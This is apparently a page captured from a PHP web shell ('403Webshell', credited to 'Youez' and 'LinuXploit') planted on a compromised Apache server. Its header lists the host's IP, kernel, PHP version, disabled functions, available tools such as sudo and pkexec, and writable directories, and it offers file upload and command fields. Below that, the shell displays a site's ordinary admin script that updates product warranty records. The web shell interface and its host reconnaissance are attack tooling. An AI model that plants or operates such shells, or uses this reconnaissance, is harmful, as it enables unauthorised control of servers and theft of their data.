403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)eizo.hkosl.com/global/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)eizo.hkosl.com/global/webadmin/model_modify.php
<?php
	include 'config.php';

// Check if the user is logged in

	if ((!isSet($_SESSION['loginname'])) || ($loggin <> '1')) {
		header("Location: login.php");
		exit;
	}

	if($_POST["promote_datefrom"] > $_POST["promote_dateto"]){
		echo "<script>alert('Promote Date To should be later than Promote Date From!'); history.back();</script>";
		exit;
	}

	$nowdate = date("Y-m-d H:i:s");
	$model_id = $_POST["model_id"];
	/*$model_code = $_POST["model_code"];
	$series_id = $_POST["series_id"];*/
	$series_code = $_POST["series_code"];
	$free_mix_color = $_POST["free_mix_color"];
	$fixed_warranty_year = $_POST["fixed_warranty_year"];
	$extend_warranty_year = $_POST["extend_warranty_year"];
	$promote_date_from = $_POST["promote_datefrom"];
	$promote_date_to = $_POST["promote_dateto"];
	foreach ($arraylangcode as $langcode => $langname) {
		$warranty_detail["$langcode"] = $_POST["warranty_detail_".$langcode];
		$warranty_detail_extend["$langcode"] = $_POST["warranty_detail_extend_".$langcode];
	}

	$sql = "select * from series where series_id=?";
	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
	}

	if (!$sth->execute(array($series_id))) {
		throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
	}

	$row = $sth->fetch(PDO::FETCH_ASSOC);
	$region = $row{"region"};

	//$sql = "update model set region=?, series_id=?, model_code=?,free_mix_color=?, fixed_warranty_year=?, extend_warranty_year=?, warranty_detail_sc=?, warranty_detail_tc=?, warranty_detail_en=?,warranty_detail_extend_sc=?, warranty_detail_extend_tc=?, warranty_detail_extend_en=?, lastupdate=?, lastupby=? where model_id=?";
	$sql = "update model set free_mix_color=?, fixed_warranty_year=?, extend_warranty_year=?, warranty_detail_sc=?, warranty_detail_tc=?, warranty_detail_en=?,warranty_detail_extend_sc=?, warranty_detail_extend_tc=?, warranty_detail_extend_en=?, lastupdate=?, lastupby=?, promote_datefrom=?, promote_dateto=? where model_id=?";

	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
	}

	//$parameter = array($region, $series_id, $model_code,$free_mix_color,$fixed_warranty_year,$extend_warranty_year,$warranty_detail["sc"], $warranty_detail["tc"], $warranty_detail["en"],$warranty_detail_extend["sc"], $warranty_detail_extend["tc"], $warranty_detail_extend["en"], $nowdate, $_SESSION['cmsloginid'], $model_id);
	$parameter = array($free_mix_color,$fixed_warranty_year,$extend_warranty_year,$warranty_detail["sc"], $warranty_detail["tc"], $warranty_detail["en"],$warranty_detail_extend["sc"], $warranty_detail_extend["tc"], $warranty_detail_extend["en"], $nowdate, $_SESSION['cmsloginid'],$promote_date_from,$promote_date_to, $model_id);

	if (!$sth->execute($parameter)) {
		throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
	}

	$dbh = null;

	header("Location: model_index.php?series_code=$series_code&msg=Update Successful");

?>

Youez - 2016 - github.com/yon3zu
LinuXploit